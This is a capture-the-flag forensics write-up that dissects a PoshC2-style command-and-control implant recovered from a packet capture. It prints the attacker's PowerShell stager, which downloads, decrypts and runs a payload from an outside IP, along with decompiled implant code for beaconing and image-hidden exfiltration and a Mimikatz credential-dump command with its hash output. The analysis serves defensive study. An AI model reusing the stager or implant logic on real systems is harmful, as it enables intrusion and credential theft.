Interstellar C2

hard | forensics | 325 points

We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora's private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?

First Impressions

The challenge came with a PCAP file, capture.pcapng. The packets contained a lot of requests and responses, some containing gibberish and some with lots of base64-encoded data. Among the first few packets is a request and response for a Powershell script, vn84.ps1.

The script is obfuscated. It starts to make some sense after a little cleanup.

Set-Item variable:qLz0so ([type]"System.IO.FileMode");
Set-Variable l60Yu3 ([type]"System.Security.Cryptography.AES");
Set-Variable BI34 ([type]"System.Security.Cryptography.CryptoStreamMode");
$URL = "http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51";
$PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51";
Import-Module BitsTransfer;
Start-BitsTransfer -Source $URL -Destination $PTF;
$FS = New-Object IO.FileStream($PTF, (ChildItem VAriablE:QLz0sO).Value::"Open");
$MS = New-Object System.IO.MemoryStream;
$AES = (Get-Item variable:l60Yu3).Value::Create.Invoke();
$AES.KeySize = 128;
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0);
$IV = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1);
$AES.Key = $KEY;
$AES.IV = $IV;
$CS = New-Object System.Security.Cryptography.CryptoStream($MS, $AES.CreateDecryptor.Invoke(), (Get-Variable BI34 -Value)::"Write");
$FS.CopyTo.Invoke($CS);
$DECD = $MS.ToArray.Invoke();
$CS.Write.Invoke($DECD, 0, $DECD.Length);
$DECD | Set-Content -Path "$env:temp\tmp7102591.exe" -Encoding Byte;
& $env:temp\tmp7102591.exe;

The script downloads a file from the given URL, copies it to the user’s temp directory. An AES cipher is set with the required key and IV values and the decrypts the copied file. Lastly, the decrypted file is executed.

Decrypt Payload

The data can be extracted from the PCAP file. I did that, decrypted it in Powershell by running a modified version of the above script and...oh, it’s detected as malware.

Windows deletes the file a few seconds after its detected, so I opened Windows Security to allow this particular file for further analysis. Here I come across this:

A little bit of searching later, I came across this report about a PoshC2 implant. This proved to be a great starting point to figure what was actually going on in this challenge, as I had little to no clue about C2 frameworks before this.

I compared the hashes of the malware I had to the actual implant to check if they were the same. The hashes were different, meaning the implant was modified for this challenge.

Malware Analysis Setup

The malware was a .NET executable, and I figured I would need a decompiler to understand what it’s doing. Searching for decompilers led me to install dotPeek. I opened the malware there, and it identified the filename as dropper_cs.exe. The entire source code is in one .NET program, Program.cs.

Firstly, we see the C2 server’s IP address and port hardcoded in the program, which is the same IP as mentioned in the script from earlier.

private static string[] basearray = new string[1]
{
	"http://64.226.84.200:8080"
};

I next went to look for the main function, which points to a function called Sharp(). It performs some checks and calls the primer() function which is where I started to find more information.

primer() Analysis

private static void primer()
{
	if (!(DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", (IFormatProvider) CultureInfo.InvariantCulture) > DateTime.Now))
		return;
	Program.dfs = 0;
	string str1;
	try
	{
		str1 = WindowsIdentity.GetCurrent().Name;
	}
	catch
	{
		str1 = Environment.UserName;
	}
	if (Program.ihInteg())
		str1 += "*";
	string userDomainName = Environment.UserDomainName;
	string environmentVariable1 = Environment.GetEnvironmentVariable("COMPUTERNAME");
	string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
	int id = Process.GetCurrentProcess().Id;
	string processName = Process.GetCurrentProcess().ProcessName;
	Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
	string input = (string) null;
	string baseURL = (string) null;
	foreach (string str2 in Program.basearray)
	{
		string un = string.Format("{0};{1};{2};{3};{4};{5};1", (object) userDomainName, (object) str1, (object) environmentVariable1, (object) environmentVariable2, (object) id, (object) processName);
		string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
		baseURL = str2;
		string address = baseURL + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
		try
		{
		string enc = Program.GetWebRequest(Program.Encryption(key, un)).DownloadString(address);
		input = Program.Decryption(key, enc);
		break;
		}
		catch (Exception ex)
		{
		Console.WriteLine(string.Format(" > Exception {0}", (object) ex.Message));
		}
		++Program.dfs;
	}

This first part of the function does the following:

To get more information about the encryption process, I checked the Encryption() function.

private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
	byte[] numArray = unByte == null ? Encoding.UTF8.GetBytes(un) : unByte;
	if (comp)
	  numArray = Program.Compress(numArray);
	try
	{
	  SymmetricAlgorithm cam = Program.CreateCam(key, (string) null);
	  byte[] second = cam.CreateEncryptor().TransformFinalBlock(numArray, 0, numArray.Length);
	  return Convert.ToBase64String(Program.Combine(cam.IV, second));
	}
	catch
	{
	  SymmetricAlgorithm cam = Program.CreateCam(key, (string) null, false);
	  byte[] second = cam.CreateEncryptor().TransformFinalBlock(numArray, 0, numArray.Length);
	  return Convert.ToBase64String(Program.Combine(cam.IV, second));
	}
}
	
private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
{
	SymmetricAlgorithm cam = !rij ? (SymmetricAlgorithm) new AesCryptoServiceProvider() : (SymmetricAlgorithm) new RijndaelManaged();
	cam.Mode = CipherMode.CBC;
	cam.Padding = PaddingMode.Zeros;
	cam.BlockSize = 128;
	cam.KeySize = 256;
	if (IV != null)
	  cam.IV = Convert.FromBase64String(IV);
	else
	  cam.GenerateIV();
	if (key != null)
	  cam.Key = Convert.FromBase64String(key);
	return cam;
}

The text is encrypted using the SymmetricAlgorithm object, created with a function called CreateCam(), which initializes a cipher in CBC mode with the given key and a randomly generated IV. The IV is added to the start of the encrypted text and the combined text is sent as a base64-encoded string.

Decryption works in the reverse order, as AES is a symmetric cipher.

private static string Decryption(string key, string enc)
{
	byte[] numArray1 = Convert.FromBase64String(enc);
	byte[] numArray2 = new byte[16];
	Array.Copy((Array) numArray1, (Array) numArray2, 16);
	try
	{
	  return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Program.CreateCam(key, Convert.ToBase64String(numArray2)).CreateDecryptor().TransformFinalBlock(numArray1, 16, numArray1.Length - 16)).Trim(new char[1])));
	}
	catch
	{
	  return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Program.CreateCam(key, Convert.ToBase64String(numArray2), false).CreateDecryptor().TransformFinalBlock(numArray1, 16, numArray1.Length - 16)).Trim(new char[1])));
	}
	finally
	{
	  Array.Clear((Array) numArray1, 0, numArray1.Length);
	  Array.Clear((Array) numArray2, 0, 16);
	}
}

The base64 string is first decoded, then the first 16 bytes are extracted as the IV, and the rest of the string is decrypted using the cipher created with CreateCam(), the key and the IV.

Coming back to primer(), the decrypted text is then filtered through various regex strings, and these values are passed to ImplantCore(). I’ll mention the strings in detail in the following sections.

string RandomURI = !string.IsNullOrEmpty(input) ? new Regex("RANDOMURI19901(.*)10991IRUMODNAR").Match(input).Groups[1].ToString() : throw new Exception();
string stringURLS = new Regex("URLS10484390243(.*)34209348401SLRU").Match(input).Groups[1].ToString();
string KillDate = new Regex("KILLDATE1665(.*)5661ETADLLIK").Match(input).Groups[1].ToString();
string Sleep = new Regex("SLEEP98001(.*)10089PEELS").Match(input).Groups[1].ToString();
string Jitter = new Regex("JITTER2025(.*)5202RETTIJ").Match(input).Groups[1].ToString();
string Key = new Regex("NEWKEY8839394(.*)4939388YEKWEN").Match(input).Groups[1].ToString();
string stringIMGS = new Regex("IMGS19459394(.*)49395491SGMI").Match(input).Groups[1].ToString();
Program.ImplantCore(baseURL, RandomURI, stringURLS, KillDate, Sleep, Key, stringIMGS, Jitter);

Extract Primer Data

I extracted the data that was sent before analyzing ImplantCore() to get a better sense of what is being passed to it. The response data mentioned above is available in the pcap file as a base64-encoded string.

I extracted the bytes from Wireshark and made a python script to decrypt it and filter the output with the provided regex matches1.

#! /usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES
from re import findall
	
with open('primer.bin', 'rb') as f:
	data = b64decode(f.read())
	enc = data[16:]
	iv = data[:16]
	key = b64decode("DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=")
	
	cipher = AES.new(key, AES.MODE_CBC, iv)
	dec = b64decode(cipher.decrypt(enc)[:-1]).decode()
	
RandomURI = findall("RANDOMURI19901(.*)10991IRUMODNAR", dec)[0]
stringURLS = findall("URLS10484390243(.*)34209348401SLRU", dec)[0]
KillDate = findall("KILLDATE1665(.*)5661ETADLLIK", dec)[0]
Sleep = findall("SLEEP98001(.*)10089PEELS", dec)[0]
Jitter = findall("JITTER2025(.*)5202RETTIJ", dec)[0]
Key = findall("NEWKEY8839394(.*)4939388YEKWEN", dec)[0]
stringIMGS = findall("IMGS19459394(.*)49395491SGMI", dec)[0]
	
print(f"[*] RandomURI: {RandomURI}\n[*] stringURLS: {stringURLS}\n[*] KillDate: {KillDate}\n[*] Sleep: {Sleep}\n[*] Jitter: {Jitter}\n[*] Key: {Key}\n[*] stringIMGS: {stringIMGS}")
$ python3 primer.py
[*] RandomURI: dVfhJmc2ciKvPOC
[*] stringURLS: "Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odel...
[*] KillDate: 2025-01-01
[*] Sleep: 3s
[*] Jitter: 0.2
[*] Key: nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
[*] stringIMGS: "iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAMAAAAM7l6Q...

ImplantCore() Analysis

This, as the name suggests, is the core of this malware. All of the variables created in the previous section are passed to this function.

private static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
	Program.UrlGen.Init(stringURLS, RandomURI, baseURL);
	Program.ImgGen.Init(stringIMGS);
	Program.pKey = Key;
	int num = 5;
	System.Text.RegularExpressions.Match match1 = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled).Match(Sleep);
	if (match1.Success)
	  num = Program.Parse_Beacon_Time(match1.Groups["t"].Value, match1.Groups["u"].Value);

The main loop of the function comes next.

while (!manualResetEvent.WaitOne(new Random().Next((int) ((double) (num * 1000) * (1.0 - result)), (int) ((double) (num * 1000) * (1.0 + result)))))
{
  if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", (IFormatProvider) CultureInfo.InvariantCulture) < DateTime.Now)
  {
	Program.Run = false;
	manualResetEvent.Set();
  }
  else
  {
	stringBuilder1.Length = 0;
	try
	{
	  string cmd = (string) null;
	  string str1;
	  try
	  {
		cmd = Program.GetWebRequest((string) null).DownloadString(Program.UrlGen.GenerateUrl());
		str1 = Program.Decryption(Key, cmd).Replace("\0", string.Empty);
	  }
	  catch
	  {
		continue;
	  }

It initially performs some checks, then sends a web request to a random URL generated by Program.UrlGen.GenerateURL() and decrypts the output.

if (str1.ToLower().StartsWith("multicmd"))
{
  string str2 = str1.Replace("multicmd", "");
  string[] separator = new string[1]
  {
	"!d-3dion@LD!-d"
  };
  foreach (string input in str2.Split(separator, StringSplitOptions.RemoveEmptyEntries))
  {
	Program.taskId = input.Substring(0, 5);
	cmd = input.Substring(5, input.Length - 5);

If the output starts with multicmd, the output is separated with the given separator, !d-3dion@LD!-d. Each of the commands are then processed and executed depending on the start of the command. After the commands are executed, its output is sent to a function called Exec(), which I’ll come to in the next section.

Extract Commands

To know which commands were executed in this case, I went back to the pcap file to extract the relevant data. I filtered all of the packets containing GET requests in Wireshark, which pointed to the corresponding response packet. I made a note of the packet numbers and saved the packets through File > Export Objects > HTTP.

$ file stringURLS/*
stringURLS/%3fdVfhJmc2ciKvPOC_00: ASCII text, with very long lines (65536), with no line terminators
stringURLS/%3fdVfhJmc2ciKvPOC_01: ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_02: ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_03: XML 1.0 document text, ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_04: ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_05: ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_06: HTML document text, ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_07: XML 1.0 document text, ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_08: ASCII text, with very long lines (65536), with no line terminators
stringURLS/%3fdVfhJmc2ciKvPOC_09: HTML document text, ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_10: HTML document text, ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_11: HTML document text, ASCII text
stringURLS/%3fdVfhJmc2ciKvPOC_12: ASCII text, with no line terminators
stringURLS/%3fdVfhJmc2ciKvPOC_13: ASCII text

A quick look through the data in each file, the ones containing ASCII text with no line terminators, i.e., %3fdVfhJmc2ciKvPOC_00, %3fdVfhJmc2ciKvPOC_08 and %3fdVfhJmc2ciKvPOC_12 were the ones that stood out. I made a python script to decrypt these files.

#! /usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES

def decrypt(file):
	with open(file, 'rb') as f:
		data = b64decode(f.read())
		enc = data[16:]
		iv = data[:16]
		key = b64decode("nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=")
		cipher = AES.new(key, AES.MODE_CBC, iv)
		dec = b64decode(cipher.decrypt(enc)[:-1]).decode()
		if dec[:8] == 'multicmd':
			cmds = dec[8:].split('!d-3dion@LD!-d')
			for c in cmds:
				print(c[:5], c[5:45])

decrypt("stringURLS/%3fdVfhJmc2ciKvPOC_00")
decrypt("stringURLS/%3fdVfhJmc2ciKvPOC_08")
decrypt("stringURLS/%3fdVfhJmc2ciKvPOC_12")

The output showed 6 commands, from which loadmodule and run-dll were mentioned in the source code, and get-screenshot is a Powershell command which stands out.

$ python3 stringURL.py
00031 loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAA
00032 loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAA
00033 loadpowerstatus
00034 loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAA
00035 run-dll SharpSploit.Credentials.Mimikatz
00036 get-screenshot

Extract Module Data

The loadmodule command loads a .NET assembly in memory. The assembly is sent as a base64-encoded string, which can be decoded for further analysis.

if (cmd.ToLower().StartsWith("loadmodule"))
{
  Assembly.Load(Convert.FromBase64String(Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase)));
  Program.Exec(stringBuilder1.ToString(), Program.taskId, Key);
}

run-dll, as the name suggests, runs the mentioned dll file.

else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
  stringBuilder1.AppendLine(Program.rAsm(cmd));

If the program names don’t match any of the listed commands, like get-screenshot in this case, then it is executed with Core.Program.

else
	Program.rAsm(string.Format("run-exe Core.Program Core {0}", (object) cmd));

With the help of the above functions, I extended the script to extract and save the assembly files.

#! /usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES

def write_file(data, name):
	filename = 'output/' + name + '.dll'
	with open(filename, 'wb') as f:
		f.write(data)
		print(f"[+] Writing output to {filename}")

def decrypt(file):
	with open(file, 'rb') as f:
		data = b64decode(f.read())
		enc = data[16:]
		iv = data[:16]
		key = b64decode("nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=")
		cipher = AES.new(key, AES.MODE_CBC, iv)
		dec = b64decode(cipher.decrypt(enc)[:-1]).decode()
		if dec[:8] == 'multicmd':
			cmds = dec[8:].split('!d-3dion@LD!-d')
			for c in cmds:
				task_id = c[:5]
				if c[5:].startswith('loadmodule'):
					print(f"{task_id} {c[5:40]}...")
					global i
					filename = "mal" + str(i)
					write_file(b64decode(c[15:]), filename)
					i += 1
				else:
					print(f"{task_id} {c[5:]}")

i = 0
decrypt("stringURLS/%3fdVfhJmc2ciKvPOC_00")
decrypt("stringURLS/%3fdVfhJmc2ciKvPOC_08")
decrypt("stringURLS/%3fdVfhJmc2ciKvPOC_12")
$ python3 stringURL.py
00031 loadmoduleTVqQAAMAAAAEAAAA//8AALgAA...
[+] Writing output to output/mal0.dll
00032 loadmoduleTVqQAAMAAAAEAAAA//8AALgAA...
[+] Writing output to output/mal1.dll
00033 loadpowerstatus
00034 loadmoduleTVqQAAMAAAAEAAAA//8AALgAA...
[+] Writing output to output/mal2.dll
00035 run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"
00036 get-screenshot

Analyzing the DLL’s didn’t return any significant information for this challenge (brief overview in Beyond Flag), so I moved on to the Exec() function, and that’s where this challenge got really interesting.

Exec() Analysis

The function is a way for the implant to send the output back to the C2 server2. Since the data has to blend in with regular traffic, it encrypts the output, embeds it in an image file and sends it as a POST request to the server. The image URLs passed to ImplantCore() were a set of images that the functions could use to embed data in.

public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
  if (string.IsNullOrEmpty(key))
	key = Program.pKey;
  string cookie = Program.Encryption(key, taskId);
  byte[] imgData = Program.ImgGen.GetImgData(Convert.FromBase64String(encByte == null ? Program.Encryption(key, cmd, true) : Program.Encryption(key, (string) null, true, encByte)));
  int num = 0;
  while (num < 5)
  {
	++num;
	try
	{
	  Program.GetWebRequest(cookie).UploadData(Program.UrlGen.GenerateUrl(), imgData);
	  num = 5;
	}
	catch
	{
	}
  }
}

The GetImgData() function contains the steps on how the data is embedded.

internal static byte[] GetImgData(byte[] cmdoutput)
{
  int num = 1500;
  int length = cmdoutput.Length + num;
  byte[] sourceArray = Convert.FromBase64String(Program.ImgGen._newImgs[new Random().Next(0, Program.ImgGen._newImgs.Count)]);
  byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(num - sourceArray.Length));
  byte[] destinationArray = new byte[length];
  Array.Copy((Array) sourceArray, 0, (Array) destinationArray, 0, sourceArray.Length);
  Array.Copy((Array) bytes, 0, (Array) destinationArray, sourceArray.Length, bytes.Length);
  Array.Copy((Array) cmdoutput, 0, (Array) destinationArray, sourceArray.Length + bytes.Length, cmdoutput.Length);
  return destinationArray;
}

There are three parts to the image, which are all appended to destinationArray:

Extract Image Data

With this information, I can extract the PNG images from the capture file and decrypt it with a script. I filtered for POST requests and extracted the PNGs. I found a total of 6 of them, which matches the number of commands run by the implant.

$ file imgURLS/*
imgURLS/%3fdVfhJmc2ciKvPOC_00.png: PNG image data, 32 x 32, 8-bit colormap, non-interlaced
imgURLS/%3fdVfhJmc2ciKvPOC_01.png: PNG image data, 30 x 30, 8-bit colormap, non-interlaced
imgURLS/%3fdVfhJmc2ciKvPOC_02.png: PNG image data, 30 x 30, 8-bit colormap, non-interlaced
imgURLS/%3fdVfhJmc2ciKvPOC_03.png: PNG image data, 30 x 30, 8-bit colormap, non-interlaced
imgURLS/%3fdVfhJmc2ciKvPOC_04.png: PNG image data, 32 x 32, 8-bit colormap, non-interlaced
imgURLS/%3fdVfhJmc2ciKvPOC_05.png: PNG image data, 32 x 32, 8-bit colormap, non-interlaced

I decrypted all the files with the help of another script. The output from get-screenshot command, stored in %3fdVfhJmc2ciKvPOC_05.png, had the biggest file size from all the images, so my main focus was to inspect that file.

#! /usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES
	
def decrypt(file, name):
	with open(file, 'rb') as f:
		data = f.read()[1500:]
		enc = data[16:]
		iv = data[:16]
		key = b64decode("nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=")
		
		cipher = AES.new(key, AES.MODE_CBC, iv)
		dec = cipher.decrypt(enc)[:-1]
		print(f"{name} {dec[:40]}")		
	
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_00.png", "00031")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_01.png", "00032")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_02.png", "00033")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_03.png", "00034")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_04.png", "00035")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_05.png", "00036")
$ python3 imgURL.py
00031 b''
00032 b''
00033 b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00\x0b\xf7\x8d\x0f\xf0\x0fw\rr\n\xf2wtqv\x0c\x0e\xb1r\x0f\xf5t\x89\xf7\xf5\xf7\xf3\x0c\xf1\x0f'
00034 b''
00035 b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00\xed\x97\xfbo\xe2F\x10\xc7\x7f\x8e\xa5\xfe\x0f\xa3K%HT`w\xfdb]\xa9:zp\r\n\x84'
00036 b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00$\x9b\xc5\x96\xa4\xec\x16D\x1f\x88\x01n\xc3\xc2\xdd}\x86&\xee\xfe\xf4\x97\xfeoOz\x15\x95\x99$'

The ones that returned an output started with \x1f\x8b\x08\x00, the file header of a gzip file. I extended the script to decompress the files and saved the resulting output.

#! /usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES
from gzip import decompress

def decrypt(file, name):
	with open(file, 'rb') as f:
		data = f.read()[1500:]
		enc = data[16:]
		iv = data[:16]
		key = b64decode("nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=")
		
		cipher = AES.new(key, AES.MODE_CBC, iv)
		dec = cipher.decrypt(enc)[:-1]
		print(f"{name} {dec[:40]}")
		if dec.startswith(b'\x1f\x8b\x08\x00'):
			filename = 'output/' + name
			with open(filename, 'wb') as f:
				f.write(decompress(dec))
				print(f"[+] Writing data to {filename}")	 

decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_00.png", "00031")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_01.png", "00032")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_02.png", "00033")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_03.png", "00034")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_04.png", "00035")
decrypt("imgURLS/%3fdVfhJmc2ciKvPOC_05.png", "00036")
$ python3 imgURL.py
00031 b''
00032 b''
00033 b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00\x0b\xf7\x8d\x0f\xf0\x0fw\rr\n\xf2wtqv\x0c\x0e\xb1r\x0f\xf5t\x89\xf7\xf5\xf7\xf3\x0c\xf1\x0f'
[+] Writing data to output/00033
00034 b''
00035 b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00\xed\x97\xfbo\xe2F\x10\xc7\x7f\x8e\xa5\xfe\x0f\xa3K%HT`w\xfdb]\xa9:zp\r\n\x84'
[+] Writing data to output/00035
00036 b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x04\x00$\x9b\xc5\x96\xa4\xec\x16D\x1f\x88\x01n\xc3\xc2\xdd}\x86&\xee\xfe\xf4\x97\xfeoOz\x15\x95\x99$'
[+] Writing data to output/00036

Two of the output files contained plaintext and one contained more base64 data.

$ cat output/00033
WM_POWERBROADCAST:GUID_MONITOR_POWER_ON:On
$ cat output/00035 | more

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  8 2021 10:31:14
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##	   > https://blog.gentilkiwi.com/mimikatz
 '## v ##'	   Vincent LE TOUX			 ( vincent.letoux@gmail.com )
  '#####'		> https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # privilege::debug
Privilege '20' OK
$ cat output/00036 | more
iVBORw0KGgoAAAANSUhEUgAAB3oAAAOcCAYAAACol7BlAAAAAXNSR0IArs4c6QAAAARnQU1BAAC...

I didn’t focus on the plaintext data much (see Beyond Flag for a brief overview) and went straight to decoding the base64 data, which decoded to a PNG image as it’s a screenshot.

$ cat output/00036 | base64 -d > output/00036_dec
$ file output/00036_dec
output/00036_dec: PNG image data, 1914 x 924, 8-bit/color RGBA, non-interlaced

On opening the image, I FINALLY saw the flag on a sticky note at the top right of the image.

Flag: HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}

Beyond Flag

DLL Analysis

All three DLLs are .NET assemblies, so I decompiled them in dotPeek.

mal0.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
mal1.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
mal2.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Image Data Analysis

The output for loadpowerstatus is stored in 00033. I couldn’t find specific documentation for this module and it’s output. My guess is that it specifies the status of user’s monitor, which in this case is on.

WM_POWERBROADCAST:GUID_MONITOR_POWER_ON:On

The output for SharpSploit.Credentials.Mimikatz is stored in 00035, that runs sekurlsa::logonpasswords with elevated privileges to extract any user credentials stored in memory.

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  8 2021 10:31:14
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##	   > https://blog.gentilkiwi.com/mimikatz
 '## v ##'	   Vincent LE TOUX			 ( vincent.letoux@gmail.com )
  '#####'		> https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # privilege::debug
Privilege '20' OK

mimikatz(powershell) # sekurlsa::logonPasswords

Authentication Id : 0 ; 1044643 (00000000:000ff0a3)
Session		   : Interactive from 1
User Name		 : IEUser
Domain			: DESKTOP
Logon Server	  : DESKTOP
Logon Time		: 3/7/2023 11:30:59 AM
SID			   : S-1-5-21-1281496067-1440983016-2272511217-1000
	msv :	
	 [00000003] Primary
	 * Username : IEUser
	 * Domain   : DESKTOP
	 * NTLM	 : 69943c5e63b4d2c104dbbcc15138b72b
	 * SHA1	 : e91fe173f59b063d620a934ce1a010f2b114c1f3
	tspkg :	
	wdigest :	
	 * Username : IEUser
	 * Domain   : DESKTOP
	 * Password : (null)
	kerberos :	
	 * Username : IEUser
	 * Domain   : DESKTOP
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	KO

Authentication Id : 0 ; 1044605 (00000000:000ff07d)
Session		   : Interactive from 1
User Name		 : IEUser
Domain			: DESKTOP
Logon Server	  : DESKTOP
Logon Time		: 3/7/2023 11:30:59 AM
SID			   : S-1-5-21-1281496067-1440983016-2272511217-1000
	msv :	
	 [00000003] Primary
	 * Username : IEUser
	 * Domain   : DESKTOP
	 * NTLM	 : 69943c5e63b4d2c104dbbcc15138b72b
	 * SHA1	 : e91fe173f59b063d620a934ce1a010f2b114c1f3
	tspkg :	
	wdigest :	
	 * Username : IEUser
	 * Domain   : DESKTOP
	 * Password : (null)
	kerberos :	
	 * Username : IEUser
	 * Domain   : DESKTOP
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	KO

Authentication Id : 0 ; 997 (00000000:000003e5)
...

Footnotes

  1. My script during the CTF was very messy, but reading through An00bRektn’s writeup for this challenge motivated me to re-structure the scripts. 

  2. This was the part that was a little confusing while solving the challenge. I knew what this function was doing in terms of steps, but had no idea why it was like this. It clicked only when I read qn0x’s writeup after the CTF. 

More writeups from HTB Cyber Apocalypse 2023